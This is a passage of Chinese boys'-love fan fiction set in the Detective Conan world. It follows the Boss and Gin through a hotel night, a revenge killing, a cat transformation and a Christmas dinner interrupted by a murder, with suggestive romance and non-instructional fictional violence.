为了避免接下来可能会发生的事,他有些艰难地移开视线,开始在心里默念静心咒,然而浴室里的水声却始终萦绕在他耳边,让他眼前仿佛有了画面感,怎么都静不下心来。 直到念了一百遍静心咒,浴室里的水声才终于停下,原泽河大大松了口气,然后在琴酒穿着浴袍从浴室出来的瞬间,一溜烟跑进了浴室,好像琴酒是什么洪水猛兽一般。 琴酒见状不由有些纳闷,暗自思忖自己哪里惹到了Boss,不然他怎么会看见自己就跑? 水声没多久就响了起来,颇有些欲盖弥彰的意味,琴酒怀揣着疑问走到沙发边坐下,一边拿着毛巾擦拭着湿淋淋的头发,一边若有所思地看向浴室的方向。 直到发现浴室是单向玻璃,外面能依稀看见里面,他才后知后觉地明白了Boss反常的举动,脸颊唰的一下就红了。 他只看了一眼便匆匆别开视线,可他做得到不看,却做不到不听,浴室里哗啦啦的水声在他耳边清晰可闻,和他心脏跳动的节拍完美契合,猛烈而急促。 两个人隔着一道门,皆是心不在焉地做着自己的事,某种奇怪的罗曼蒂克剧氛围悄悄在二人间蔓延。 今晚注定是个不寻常的夜晚。 27.保护我方劳模先生7 大概十几分钟后,浴室里哗哗的水声停下,原泽河从浴室走了出来,身上随意披着一件浴袍,脸上还带着些许被热气蒸出来的薄薄红晕。 他刚一出来,便看见琴酒坐在沙发边,低着头不知道在想什么,那头银白色的长发湿哒哒地披散在背后,还在不断向下滴水,水珠砸在深色的木质地板上,发出细微的声响,很快又被热空气蒸发,留下干涸的痕迹。 原泽河安静地盯着他看了一会儿,而后抬脚朝他走了过去,在他旁边的位置坐下,主动提议道:“Gin,你要不要我帮你吹头发?头发不吹干的话会感冒的。” 正沉浸在思绪里的琴酒被这句问话拉回到现实中,他望着Boss脸上关切的神色,犹豫了好一会儿才说道:“可是这里没有吹风机,我找遍了整个房间都没有找到。” 原泽河闻言,浑不在意地笑起来:“不用吹风机,我也可以帮你吹干头发。”说完也不等他答应,直接坐到他身后的沙发上,右手凝聚起一股柔和的灵力,动作温柔且细致地帮他吹头发。 修长的手指穿梭在发间,琴酒舒服得就好像浸泡在温泉中,索性将身子朝Boss的方向凑了凑,直接靠在他怀中,满身疲惫也随之一扫而空。 此情此景和Boss回到日本的第一天何其相似,但两人之间的关系已经发生了微妙的变化,当时他们只是上下级加床伴,除了工作就是上床,不是在上床就是在上床的路上,绝不会像今晚这样上演温情脉脉的戏码。 两人均是想到了这一层,心里只希望这一刻过得慢一点再慢一点,好让他们多享受一会这难得的温情。 尽管刻意放慢了速度,但琴酒的头发还是很快就吹干了,原泽河爱不释手摸了摸那头绸缎一般的银色长发,心中暗自感慨,以琴酒那种拼命三郎的工作状态,恨不得把一天掰成几天用,还能有这么顺滑柔亮的及腰长发,这绝对是老天爷追着喂饭吃。 琴酒注意到自己的头发被细致地吹干,张了张口刚要道谢,原泽河却像是知道他接下来要说什么似的,赶紧抬手制止他说下去:“不过是举手之劳而已,就别谢来谢去了。” 听他这么说,琴酒只好将到嘴边的“谢谢”咽回了肚子里,然后看着他走到不远处的储物柜,弯腰从柜子里随便挑了张碟片,而后将碟片塞进放映机中:“夜还很长,在睡觉之前我们先看会电影吧。” 原泽河之前趁琴酒洗澡的时候在房间里四处逛过一圈,发现储物柜里放有供客人打发时间的碟片,便琢磨着要和琴酒一起看,促进感情的同时也能消磨时间。 此刻两人刚洗完澡,全身都放松了下来,正是窝在沙发上一起看电影的好时机。 他心里美滋滋地打好了算盘,但在电影播出后不久,就恨不得戳瞎自己的双眼。 ——眼前的屏幕里出现的可不是什么正经电影,而是那种会被FBI警告的未成年人禁止观看的爱情动作片。更离谱的是,这部动作片的主角还是两个如假包换的男人,而这两个男人好巧不巧五官和他们有几分相似,简直就像低配版的他们。 随便一挑就挑中一部钙片,也不知道自己的运气是好还是不好……原泽河盯着面前的限制级画面看了半晌,然后侧头看向琴酒,脸上的表情是琴酒前所未见的严肃:“我说我不是故意的你相信吗?” 这话一出气氛顿时尴尬了起来,琴酒握拳抵在唇边轻咳两声,很给面子地说道:“我相信您。” 只是他嘴上一本正经地说着相信,眼里藏也藏不住的笑意却出卖了他此刻的真实想法,原泽河从他的脸上读出了答案,一时面上有些挂不住,索性破罐子破摔地说道:“就算我是故意的又怎样?夜深了就该看点大人该看的东西!” 话落的那一瞬间,他极力装出一副坦然自若的脸色,飞快地把视线重新挪回到屏幕上,此刻那个与琴酒有几分相似的男人正被人压在身下,有些难耐地轻喘着气,他的面色泛着不正常的潮红,那双碧绿的眼眸里氤氲着一层薄薄的水雾。 更要命的是,那个压着他的男人眉眼也和自己有一点相似之处,两个和他们长相相似的男人就这样在他们眼前上演一场活色生香的春宫戏,令人面红耳赤的声音回荡在房间里的每个角落。 原泽河看着看着,脑中竟然不合时宜地想起某些类似的画面,视线下意识地瞥向旁边的琴酒,谁知那人也正看向自己,两人的视线在空中短暂地交汇了几秒,旋即便心虚地挪开了视线,脸上都红得不像话。 随着剧情推进,那声音越发的肆无忌惮,仿佛响在耳边般清晰可闻,两人之间的氛围又开始变得有些不自然,看着眼前各种少儿不宜的画面,手脚都不知道该往哪里放。 明明他们什么体位都尝试过了,对彼此的身体熟悉得不能再熟悉,可此刻一起看小黄片,居然还能像没开过荤的毛头小子那般不好意思起来,说出来也叫人笑话。 想到这一点,原泽河莫名的想笑,然后还真的笑出了声,惹得身旁的银发杀手向他投来了疑惑的目光。片刻后他又收敛起笑意,侧头对上身旁之人的视线,一脸正色地问他:“Gin,你觉不觉得屏幕里的那个银发男人长得和你挺像的?” 闻言,琴酒轻飘飘地瞥了一眼那个面色潮红的银发男人,而后低头垂下眼睫,面上神情辨不出喜怒:“是挺像的。” 不知怎的,当看到Boss仔细地打量着那个和他面容相似的男人时,琴酒心里莫名其妙地有些不爽,陡然生出一股蒙住他眼睛不让他看的冲动。尽管他知道自己这个念头是对Boss的大不敬,但就是控制不住去想。 “只不过……”偏偏原泽河像是听不出他语气里的不悦,将视线转移到了他的身上,浅金色的眸中飞快闪过一抹促狭的笑意,“那 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他说到这里便戛然而止,似乎是有些难以启齿,原泽河却听懂了他那未说出口的话,一时陷入了诡异的沉默。 说老实话,刚刚这一连串的事情下来,两人都有些心猿意马,接下来发生点什么似乎是一件顺理成章的事情,不过出乎琴酒意料的是,短暂的沉默过后,Boss只是更加用力地将他搂紧了,片刻后在他耳边发出一声微不可闻的叹息:“还是算了吧,你身上还有不少伤呢。” 他的声音低沉沙哑,明显地克制着欲望和冲动,琴酒听完之后不由怔愣住,回过神来后,心头逐渐涌起一股暖流。 这好像还是第一次,自己在床事上主动邀请Boss,最后却被他给拒绝了,而他拒绝自己的理由居然是自己身上有伤。被他用这个理由拒绝,琴酒竟真的产生了一种自己在被珍视着的错觉。 之后两人都很默契地没有再说话,欲望终究还是敌不过疲惫,琴酒阖上双眼渐渐睡去。 原泽河听着他的呼吸声逐渐变得平缓悠长,确认他已经睡着了,这才放开了一直抱着他的手,轻手轻脚地从床上下来,而后穿上鞋走到窗边,想也不想就从窗台跳下去。 整个过程他都刻意放轻了动作,一点声音也没发出,即使琴酒警觉度很高,一有点风吹草动就容易被惊醒,对他那一顿操作也毫无所觉,继续沉浸在梦乡之中。不知在梦中梦见了什么,他唇角上扬的弧度始终没有降下去。 原泽河从窗户翻了出去,轻飘飘地落在了地面上,连半点灰尘都没有溅起来。他随手给那间旅馆布置下一个保护结界就毅然决然地转身离开,高挑清瘦的身影逐渐与夜色融为一体。 接下来就该轮到他出马了,那个将琴酒弄得伤痕累累的罪魁祸首,他会让对方因为自己的愚蠢行径付出惨痛的代价。 28.保护我方劳模先生8 深沉寥落的夜色下,一栋豪华别墅外,原泽河借着月色轻巧地翻过高墙,悄无声息地落在地面上。脚一沾地,他就像一只敏捷的猎豹一样,在黑暗中快速穿梭,避开了巡逻的守卫,进入到别墅内部。 此刻天色已晚,大部分人都已经歇下,别墅里静悄悄的,只能听到一阵粗重而又急促的喘息声。 原泽河仔细听了一会,大概清楚发生了什么,心念一动,循着声音来源走了过去,七拐八拐走到走廊尽头的一间房间外。喘息声越来越重,房间内的两个人显然激战正酣。 黑发青年听着从门里传来的令人面红耳赤的声音,莫名其妙就感觉有些不爽,自己被迫禁欲,而造就这一切的罪魁祸首却在这里颠鸾倒凤不知天地为何物,真是岂有此理。 他越想越觉得生气,直接推开房门闯了进去,正在床上干柴烈火的两个人还没反应过来就被他一脚踹下了床。 其中一个全身纹满了纹身,看上去凶神恶煞的中年男人紧紧捂住自己的下半身,那双被酒色掏空的眼睛里满是怒火:“靠!哪个不长眼的混球竟敢坏我好事!” 目光在面前的两个人身上转了一圈,原泽河诧异地挑了挑眉,没想到这位首领还是个男女通吃荤素不忌的主。 不动声色地打量了一下他的床伴,一向眼光颇高的黑衣组织老大不由得露出一丝嫌弃的表情,心中暗自腹诽,此人的品味实在堪忧,挑了这么一个油头粉面的小白脸当床伴。 在心里腹诽完之后,原泽河不知从哪掏出一把匕首,直接架在面前之人的脖子上,阴恻恻地笑道:“敢叫一声,我立马割断你的喉咙!如果你不信的话,大可以试试!” 吹毛立断的锋利匕首此刻正稳稳地停在他的颈脖动脉边,透着冷冽的寒光,男人被吓得两股战战,再没了刚才嚣张的气焰,颤抖着身子忙不迭地跟面前的黑发青年认怂:“好好好,我不叫……我不叫……” 他的小情人过了好一会才反应过来眼下的境况,下意识想要开口呼救,话刚到嘴边,就被原泽河毫不怜香惜玉地一脚踹晕过去。 四周顿时陷入一片死寂,男人瑟瑟发抖地看着面前的黑发青年,明明对方比他见过的所有人都要好看,但此刻在他眼中,这人却是比深渊里的恶鬼还要恐怖的存在。 “你你你是为了什么来杀我的,要是为了钱的话,我可以出两倍!”眼见对方神色淡漠,并未有丝毫动容,他不放弃地继续说道,“三倍?四倍?五倍?六倍……” 原泽河嗤笑一声,抬手打断了他的话,眼底深处是控制不住的黑色恶意:“我可不是为了钱来杀你的,你就是把自己的全部家当都献给我,今天也难逃一死!”话音落地的同时,抵在男人脖子上的匕首嵌进了几分,一道血线立刻出现。 男人混迹地下世界多年,什么大风大浪没见过,但他却是头一次感受到死亡的威胁距离自己如此之近,脸上渐渐露出绝望的神色。 原泽河像是被他脸上的表情取悦到了,手上的动作停了下来,居高临下地看着瘫倒在地、毫无生气的男人,慢悠悠地开口:“你还记得之前被你丢进原始森林里喂野兽的那个银发男人吗?” 恍惚间听到这句话,男人顿时记起了那个气质冷冽,浑身上下透着生人勿近气息的银发杀手。想到自己为了斩草除根不惜杀人灭口的事,他的额头开始沁出密密麻麻的冷汗,浑身控制不住地颤抖。 见男人抖如糠筛,原泽河笑了一下,慢条斯理地说:“这下你明白自己因何而死了吧。” 濒临死亡的时候,人的求生欲往往会被完全激发出来,虽然知道希望渺茫,但男人还是决定再挣扎一下:“时间应该还来得及,我这就派人把他救出来,好吃好喝伺候着……” 他话还未说完,眼前就有一道白光闪过,下一秒便直挺挺躺倒在地上,变成一具冰冷的尸体。 原泽河瞥了一眼地上的那具尸体,神色淡淡,形状完美的薄唇缓缓地吐出八个字:“早知如此,何必当初。”说完之后,他随手挥了挥匕首,甩去刀刃上的血珠,随后径直走到窗户前,打开窗户跳了下去。 半个小时后,成功替心上人报仇雪恨的原泽河悄无声息地回到房间,正准备重新钻回被窝里,可是他刚掀开被子,琴酒就被惊醒,猛地从床上坐了起来。 在看清来人的那一刻,琴酒紧绷着的身体陡然放松下来,那双碧绿色的眼眸眯了眯,若有所思地注视着面前之人:“Boss趁我睡着深夜外出,不知所为何事?” 原泽河本想随便糊弄过去,但在看到对方面上那副要打破砂锅问到底的认真表情后,只得如实交代:“好吧,我承认,我刚才杀了一个人。” 他虽然没有指名道姓,但琴酒一听就知道他说的是谁,双唇抿成一条直线:“您把我的交易对象给杀了。” 他的语气十分笃定,原泽河深知瞒不过他,索性也不装了,理不直气也壮地说:“难道他不该死吗?要不是我来得及时,你早就被野兽吃得连骨头都不剩了!”他不提还好,越提越有气,只恨自己没再给那个混蛋捅一刀子。 琴酒没想到他居然这么痛快地就承认了,不由得怔了一下,还没来得及说话,就听他继续说道:“不只是他,害你落到这般境地的人,我一个也不会放过!” 闻听此言,琴酒脑子里像是有什么东西炸开了一样,炸得他脑袋晕晕乎乎的,整个人飘飘然仿佛踩在云端。 他身为Boss手下最锋利的刀,向来是以替他扫清一切障碍为己任,万万没想到有朝一日,两人的角色会颠倒过来,Boss不遗余力地保护他,就像之前被他保护那样。 原泽河看着他那副受宠若惊的模样,莫名感到心疼,随后也不等他反应过来,直接将他压倒在床上,为两人盖好被子:“不说那些扫兴的话了,我们继续睡觉。” 琴酒刚要再开口,对方却像是提前预料到一般,煞有介事地看着他,语气恶狠狠的,像要吃人:“再多说一个字就睡了你。” 在他话音落 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见他看过来,伏特加卖了好一会关子,直到他一记眼刀飞过来,才忙不迭地回道:“昨天夜里朗姆开车开到半路上的时候,车子不知什么原因突然失控,把路边的树撞倒了,差点一命呜呼。不过他现在也不好受,跟个木乃伊似的躺在病床上,全身缠满了绷带,别提有多可怜了!” 他嘴上说着可怜,但语气里却带着几分不加掩饰的幸灾乐祸,因为朗姆屡次三番地针对琴酒,他早就对其恨得咬牙切齿,此刻见他倒霉,高兴还来不及,怎么会同情他? 说完之后,他还嫌不够似的又补了一句:“可怜之人必有可恨之处,他要不是总给大哥穿小鞋,也不会遭此报应。这不,他前脚刚把大哥派去东南亚卖武器,后脚就出车祸了,大哥福大命大平安归来,他可就倒了大霉了!” 伏特加的话一字不落地进了琴酒的耳中,在他心里掀起轩然大波,他脑子里没来由地想起了Boss那晚对他说过的话——“不只是他,害你落到这般境地的人,我一个也不会放过!” 联想到朗姆出车祸的时间,他突然就想明白了一切,心中解气之余,还感到几丝隐秘的欢喜。 余光中瞥见琴酒唇角上扬,整个人都透露着甜滋滋的气息,小嘴叭叭叭说个不停的伏特加有一瞬间哑然,墨镜下的那双眼睛瞪得老大老大,片刻后他试探性地问了一句:“大哥,一直针对你的那个家伙突然出了车祸,你也很开心是不是?” 越想越觉得这个猜测合理,他乐呵一笑,自顾自地说道:“这就叫恶人自有恶报!感谢上帝!” “你该感谢的不是上帝。”闻言,琴酒冷不丁回了一句,伏特加听完之后却是一头雾水,他不感谢上帝还能感谢谁? 看着他那一脸困惑的样子,银发杀手嫌弃似的用手肘捅了他一下:“绿灯了!好好开你的车!” 在他话音落下的瞬间,身后传来一阵汽车的鸣笛声,伏特加被这道声音拉回现实,赶紧手忙脚乱地启动车子,开车驶离这个红绿灯口,至于琴酒刚才那句没头没脑的话,早就被他抛到九霄云外了。 29.下属就要啵上司嘴1 临近黄昏的时候,琴酒伏特加完成了今日份的任务,坐电梯到停车场准备开车回家。 刚一踏进停车场,两人忽然听到一声猫叫,下意识循声望去,就见一只黑猫朝他们窜了过来,最后在琴酒脚边停下,见他望过来,还亲昵讨好的用爪子扒拉着他的裤腿。 而素来有洁癖的琴酒被它这般胡乱磨蹭,非但没将它一脚踹到一边,反倒像是发现了宝藏似的,将它拎了起来抱在怀中,伸手rua了rua猫猫头。 伏特加吃惊地看着眼前这个抱起猫猫就是一顿rua的男人,好像第一次认识他一样,难以置信地张了张嘴。 再将视线转移到大哥怀里那只猫身上,几秒钟之后,他露出了恍然大悟的神情——那只猫不知是何品种,但漂亮是客观的,最出色的是那双明亮无比的金色眼眸,像是阳光被揉碎了落满在它的瞳孔里,很容易让人联想到某个黑发金眸的青年,大哥或许是爱屋及乌了。 越想越觉得这个猜测合理,伏特加抬头看向面前的人,小心翼翼地说道:“大哥,时间不早了,我们得回去了,至于这只猫……” 这话一出,琴酒很明显迟疑了片刻,他怀里的那只猫像是有灵性一般,看出了他此刻纠结的心情,当即眨巴着那双浅金色的眸子,冲他委委屈屈地喵呜了几声,似乎在说:“先生,不要丢下我好吗。” 对上那双泛着水光的金色双眸后,银发杀手顿时心软得一塌糊涂,顷刻间做出决定:“上车吧。”说完也不等他反应便自顾自地拉开车门,抱着那只猫坐在了副驾驶的位置。 伏特加见状,不由得在心中啧啧了两声,墨镜下的那双眼睛里写满了意味深长。路边的野猫也能随便捡回家,大哥你这是色令智昏啊,不管是对人还是对猫。 接下来的一路上风平浪静,并没有什么意外的事情发生,琴酒倚靠在座位上,有一下没一下地给小猫顺毛,那只猫把自己团成了一团,柔顺地趴在他的怀里,乖乖任由男人抚摸。 正开着车的伏特加百忙之中抽空看了眼这一人一猫,脑子里忽然莫名其妙地想起一件事。 就在几天前,百利甜那家伙又来向自己打探情报,所问的问题无非就那两个——琴酒到底喜不喜欢他以及琴酒对他的看法如何。 伏特加看着他那副茫然的神色,默默在心里吐槽:这么显而易见的问题,还需要一而再再而三地问他吗? 他嘴巴一张一合几次,最后实在是没忍住,挥手打断了他的问话:“这种事,我一个开车小弟怎么知道嘛,如果你想弄明白,不妨变成一只猫赖在大哥身边,以此来打探情报。” 他当时只是胡扯罢了,压根没把这一句戏言放在心上,毕竟人是不可能变成猫的,但百利甜听完之后却陷入了深思,脸上的表情严肃认真得仿佛真的把他的话当回事了。 想到此处,他下意识地看了一眼那只通体乌黑,皮毛无一丝杂色的漂亮小猫咪,正好对上了对方那双金色的眸子,也不知道是不是他的错觉,他竟然从中看到了一丝得逞的愉悦。 这只猫不会就是百里甜那个家伙变的吧? 这个念头蹦出来的一瞬间,伏特加握住方向盘的手都颤了几下,整个人沉浸在“人居然可以变成猫”这一事的震惊之中。但只过了片刻,他就将这个念头否决掉了。 作为一个坚定的唯物主义者,他绝不相信这种超自然事件的存在。 用力甩了甩头,把这个过于离谱的念头甩出脑海,伏特加将自己的全部注意力放在方向盘上,兢兢业业地给那一人一猫当着开车小弟。 * 车子疾驰半小时后抵达琴酒临时居住的安全屋,伏特加目送着自家大哥抱着猫咪离开,脸上的表情五颜六色,十分精彩。 等到了家门口,琴酒用空闲的那只手从口袋中拿出钥匙,打开了自家的房门。那只黑猫见门被打开,立刻从他怀里挣脱出来,直奔屋内,那副开心的样子就好像回到自己的小窝一样。 这只猫怎么就这么不见外呢……琴酒看着那只四处乱窜的小猫咪,宠溺地笑了笑,旋即进了屋,将自己身上那件黑大衣脱下,随手挂在衣架上,而后从冰箱里翻出了一盒牛奶,又从碗橱中拿了个碟子,将牛奶倒在碟子里。 做完这一切,他端着那一小碟牛奶放到小猫面前,温声开口:“喏,这个给你,我先去洗个澡。” 他每次做完任务回来都要洗个澡,把身上的血腥味洗掉,今天自然也不例外。正当他收拾好换洗衣物,准备走进浴室时,本来正在舔舐牛奶的小猫咪忽然舍弃了碟子里香香的醇厚的奶汁,动身朝着他在的方向跑去,跟他一同进了浴室。 浴缸里的水放好后,琴酒转身看着那只缠着他不放的粘人小猫,片刻后无奈地叹了口气,蹲下身子抚摸它的脑袋,几秒钟之后开口问道:“你也想洗澡?” 那只小猫像是能听懂他的话,忙不迭地点了点头。 琴酒对它的反应并不感到意外,另取来一个洗澡盆,准备了很多热水,然后拎着灰扑扑的它放进盆子里,拿了自己用的洗发水,开始给脏兮兮的小猫崽洗澡。 大概十分钟过后,琴酒打开花洒替小猫咪冲洗掉身上的泡泡。看着浑身上下干干净净的小猫咪,男人满意地点点头,随后起身走到浴缸边,把身上的衣物一件件褪下,抬脚跨入浴缸。 温热的水将人全身包裹,累了一天的琴酒只觉全身都舒展下来,不禁惬意地眯了眯眼,然而他还没来得及多享受一会儿,便看见那只不让人省心的小猫扒在浴缸边缘,可怜兮兮地看着他,想干什么不言而喻。 正舒舒服服地躺在浴缸里泡澡的银发杀手:“……” 许是落在自己身上的目光存在感太强,以至于根本无法忽视,琴酒犹豫片刻后,还是伸出手来, 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那只小猫自然不知道他在想什么,此刻它正舒舒服服地泡着澡,时不时吃下豆腐,简直快乐似神仙。 其实琴酒猜的没错,这只猫的确是Boss无疑,而他之所以放着好好的人不当,变成一只猫赖在琴酒身边,全然是因为几天前伏特加随口说出的一句戏言。 那次夏日祭,他曾向琴酒承诺过,如果今年圣诞过后,琴酒仍旧没有对他动心,那么他今后就会和其保持距离,两人之间不会再发生超出工作界限的行为。 眼看着截止日期越来越近,可琴酒对他的态度仍是不明,原泽河心中不由得着急。 为了不让自己的第一次心动无疾而终,原泽河再一次找上了琴酒的贴身小跟班伏特加,想从他口中挖出点什么实料来。 岂料对方也不清楚琴酒的心意,被他问得烦了,还随口敷衍了他一句,让他以一只猫的形态埋伏在琴酒身边探听情报。 说者无意听者有心,伏特加本来只是一句无心之言,原泽河却将之记在了心里,他越想越觉得这法子行得通,自己又不是肉体凡胎,变只猫那还不是简简单单,到时候千方百计赖着他,说不定就能发现些蛛丝马迹。 他向来是个行动力很强的人,在做出决定的第二天就抱着打探情报的目的,幻化成了一只小黑猫,埋伏在琴酒的必经之路上,一见到他就冲着他跑了过来。 后续事情的发展比他原先预想的还要顺利很多,琴酒非但没有将他赶走的意思,反而把他抱上车带回了家,好吃好喝伺候着,这的确大大出乎了他的意料。 思绪渐渐回到了现实中,变成猫咪的原泽河舒舒服服地窝在银发杀手的怀里,他一边享受着这难得的安宁,一边在心里暗暗下定决心,自己一定要把握好这来之不易的机会,弄明白琴酒真正的心意。 30.下属就要啵上司嘴2 浴缸里的水渐渐变冷,泡完澡的琴酒爬起身来跨出浴缸,动作利落的将身上水珠擦干净,然后换上睡袍,将湿漉漉的小猫一把拎起,抱着它一起出了浴室,直奔自己卧室而去。 刚一踏进卧室,他就将那只小猫咪放在柔软的羊毛地毯上,随后径直走到床头柜旁,拿过吹风机给自己吹起了头发。他头发又长又密,要彻底吹干的话,至少要吹一个小时。 等头发吹干的时间总是枯燥且乏味的,琴酒的视线百无聊赖地四处游走,最后停留在那只猫身上。此刻它正躺在地毯上,仰面看着天花板,整只猫舒服得几乎瘫成了一块猫饼。 他颇有兴致地看着那只小猫咪,眼底透出一抹自己都没察觉到的温柔。 头发吹干后,琴酒把吹风机放到一边,然后俯身将那只猫抱进怀里,拿起吹风机开始帮它吹着湿漉漉的毛发。 那只小猫咪慵懒地趴在他的膝上,心安理得地享受着来自屋子主人的贵宾级服务,偶尔被扯到毛发,还要不满地哼唧几声以示抗议,没有一点寄人篱下的自觉。 琴酒看着面前这位猫少爷,嘴角勾起一抹意味不明的微笑:“你怎么这么娇气,就跟我们Boss一样。” 伪装成猫的原泽河听了这话就不乐意了,气呼呼地喵呜了几声以示不满。 他不管在原本的世界还是现在的世界,都是24K纯金的顶级大佬,无论如何都与“娇气”二字沾不上边,他只觉琴酒这番发言完全就是在空口无凭地污蔑,严重损害了他的声誉,对此他表示强烈谴责。 琴酒虽然听不懂猫言猫语,但不妨碍他看出小猫咪的不快来。心里突然升起几分逗弄心思,他故意板着脸说道:“难道我说的不对吗?你要是觉得我说的不对,可以反驳我啊。” 如果换做Boss站在他面前,琴酒是绝不敢对他说出这种话的,但此刻他变成了一只任自己拿捏的猫,虽不知他的目的是什么,但这并不妨碍琴酒翻身做主人,先狠狠欺负他一番再说。 正如他所想的那样,原泽河听完这番话后,除了暗自生闷气,拿他一点办法也没有。 就在他郁闷不已之时,琴酒忽然用只有他自己才能听到的声音,语气带笑地说道:“不过你娇气点也没什么不好的,有人乐意惯着就行。”话音落下的瞬间,他将小猫咪从头到尾巴撸一把,手上的力道温柔而又舒缓。 原泽河只觉得浑身上下通体舒泰,刚才的不愉快瞬间就被抛到九霄云外去了,他又乖巧地趴在琴酒腿上一动不动,任由对方给自己吹毛发。 大约十分钟过后,琴酒关掉吹风机,而后抱着怀里的猫咪走到床边,准备关灯睡觉。 然而,就在被子掀开的那一刹那,小猫咪从他怀中挣脱开,直接跳到了柔软的大床上,仗着他不知道自己身份,毫无形象地在床上滚来滚去,把那床昂贵的蚕丝被弄得皱巴巴的。 不经意间触碰到某个软乎乎的东西,他伸出爪子将那个东西拿起来,凑到眼前仔细看了看,却是那一次夏日祭,他射破所有气球,为琴酒赢来的那只狐狸玩偶。 就在他一动不动地楞在原地时,琴酒劈手夺回那只玩偶,小心翼翼将它放到床上,而后板起脸佯装严肃地看着那只猫,义正词严道:“这是我喜欢的人送给我的礼物,你可千万别弄坏了。” 因为思绪仍停留在刚才的狐狸玩偶上,所以听到银发杀手这么说,原泽河还有些发愣。过了好一会儿,他才后知后觉意识到琴酒都说了什么,脑子砰的一声像是有烟花噼里啪啦炸开,他被震得有些耳鸣,外界的一切声音好像都听不见了,脑海里一遍一遍地循环着琴酒刚才那句话。 ——“这是我喜欢的人送给我的礼物,你可千万别弄坏了。” 这只玩偶是他送给琴酒的,那琴酒喜欢的人,不就是他吗? 困扰他许久的问题终于得到答案,原泽河如释重负般长舒了一口气,看向琴酒的目光中多了几分志在必得。既然两个人都彼此喜欢,那么还有谁能阻止他们在一起呢? 正当他沉浸在自己的思绪中时,头顶处忽然传来幽幽一声叹息,他下意识地抬起头,却见琴酒那张素来冷清的脸上露出些惆怅的神色来:“眼看着圣诞节就快到了,可Boss却再也没有向我表白过了,你说他是不是对我没兴趣了?” 闻听此言,原泽河立刻将头摇成了拨浪鼓,要不是怕暴露身份,他真想口吐人言,直接将心里话脱口而出。 天可怜见,他喜欢琴酒喜欢的不得了,绝不会对他失去兴趣,之所以尚未进行第三次告白,纯粹是因为想在圣诞夜给他一个惊喜。 琴酒看着他那副着急的样子,眸中的笑意一闪即逝,随即故作深沉地叹了一口气:“你说我要不要主动一回?如果我和他真的在一起了,今后也好跟他炫耀当初是我追的他了。” 一想到之后很长一段时间,琴酒都要时不时提醒他这件事,原泽河就觉得两眼一黑,几欲晕厥。 像他这样的人,无论在何种境况下,都得是掌握主动权的那一方,这一次也不会例外!!! 琴酒将他的神色变化尽收眼底,唇角勾起一抹不易察觉的弧度,方才那副愁眉苦脸的样子全不见了。组织的Top Killer不但身手过人,就连演技也是一等一的好,某奥斯卡影后见了都得甘拜下风。 可怜原泽河聪明一世,却不知高明的猎人往往以猎物的形态出现,注定要被自己的心上人玩弄于股掌之间。 * 又是一年圣诞节,整座米花市都沉浸在节日的氛围里,市民走在路上都是喜气洋洋的。 然而欢乐的时光总是短暂的,不知不觉间,夜晚已经悄无声息来临。 一家十分高档的西餐厅里面,两个穿着西装的男人隔着餐桌相对而坐,他们的相貌和气质都十分出众,引得周围人时不时投来打量的目光,但他们像是早就习惯了似的,对此视若无睹。 这两人自然是原泽河与琴酒,因为今天这个日子对他们来说都有特殊含义,所以他们在临出门前还 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就在她被冻得瑟瑟发抖时,那名让她惊为天人的黑发青年适时地开了口:“我听说你们餐厅在圣诞这天有个活动,凡是情侣用餐可以直接半价,是这样的吗?” 他的声音也极为好听,好似山间清泉,泠泠清脆,服务员小姐默默在心里花痴,片刻后点点头证实他的话。 原泽河见状,轻轻勾起了唇角。他就是听说有这么一个活动才选了这么一个餐厅的,倒不是他想省那么一点钱,而是他想借此活跃一下气氛,好让接下来的告白水到渠成。 他心里打着小算盘,抬眸看向对面的男人,到嘴边的话还来不及说出口,就见对方牵起他放在餐桌上的手,在手背上轻轻落下一个吻,而后侧头看向那个目瞪口呆的女服务员,冲她挑衅地勾起唇瓣:“所以我们可以打折了吗?” 服务员小姐顿时明白了些什么,后怕地咽了咽口水,很识时务地往左边挪了两步,拉开了与黑发青年之间的距离,“当然可以。” 见她识相地远离他,琴酒满意地扬起唇角,之后又很快将唇角抿直了:“你还有什么事?” 对上那双毫无情绪的碧色眼眸,服务员小姐心里咯噔一声,接过两人递来的菜单就匆匆转身离开,好像身后有什么洪水猛兽似的。 琴酒对着她离去的背影,发出一声意味不明的冷哼,随即将视线重新转移到原泽河的身上,刚想开口,却听他十分欢喜地含笑问道:“Gin,你这是替我省钱?” 闻听此问,银发杀手才后知后觉地感到了一丝羞耻,迎着那略带揶揄的视线,他握拳抵在唇边,轻咳了两声掩饰自己的尴尬:“替上司省钱,是下属的职责所在。” 原泽河轻笑一声,也不戳穿,顺着他的话从善如流地说:“Gin上可九天揽月,下可宜室宜家,我真是修了八辈子的福气才碰见你这么一个十项全能的完美下属。” 眼见琴酒被夸得低下了头,他愉悦地弯起了双眸,又在心里补上一句:这么一个十项全能的完美下属,很快就会是他的男朋友了。 31.下属就要啵上司嘴3 这个餐厅的上菜速度算是快的,那名女服务员走后没多久就上齐了。两人不约而同地拿起刀叉,切了一小块牛排送入嘴中,咀嚼了几下,味道确实不错,但是他们的心思却全然不在这上面。 此时此刻,他们的全部心神都被一件更重要的事占据了,这一顿饭都吃得有些心不在焉。 原泽河一边咀嚼着食物,一边在心里细细打起腹稿。他无论做什么都会提前做好充分的准备,向琴酒告白这种事自然也不例外。 十几分钟过后,两人用餐完毕,同时将手中的刀叉放下,优雅地用餐巾擦了擦嘴。 做完这一切后,他们面对面打量彼此,心中既紧张又兴奋。暧昧的氛围在两人之间流转,空气中冒的全是粉红泡泡,是个人都能看出来他们之间绝不清白。 原泽河定定地看着对面那人,只觉怎么看怎么合他心意,眼睛里的星星都快要溢出来了。他斟酌了半天的措辞,张了张嘴,正欲开口,话到嘴边却被一声尖叫打断了:“死人啦!死人啦!快来人啊!” 此话一出,餐厅里像是突然炸开了锅,各种声音杂糅在一起几乎快把屋顶掀翻。 短短几个月内已经亲历两次杀人事件的原泽河面上毫无波澜,他下意识去搜寻某道身影,人群中第一眼就看见了那个穿着蓝色西装,戴着红色领结的小鬼,他身边还跟着毛利父女,三人再一次出现在了案发现场。 原泽河看着那个眼熟的小鬼,脸上露出果然如此的表情。 这个小家伙简直是行走的死神啊,走到哪里死到哪里,米花市犯罪率居高不下怕是跟他脱不了干系。 他在心里默默吐槽着,随后重新将视线转移到琴酒身上,两人对视一眼,都从对方眼中看到了同样的无奈。没想到表白没等到,那群讨厌的条子马上就要来了。 想到此处,两人的心情都不是很美妙,皆是沉着一张脸,浑身低气压。 警笛声由远及近传来,很快,一辆警车抵达了餐厅门口,穿着棕色风衣的目暮警官再一次带领一队人马封锁了案发现场,然后派随行的验尸官对死者进行了尸检。 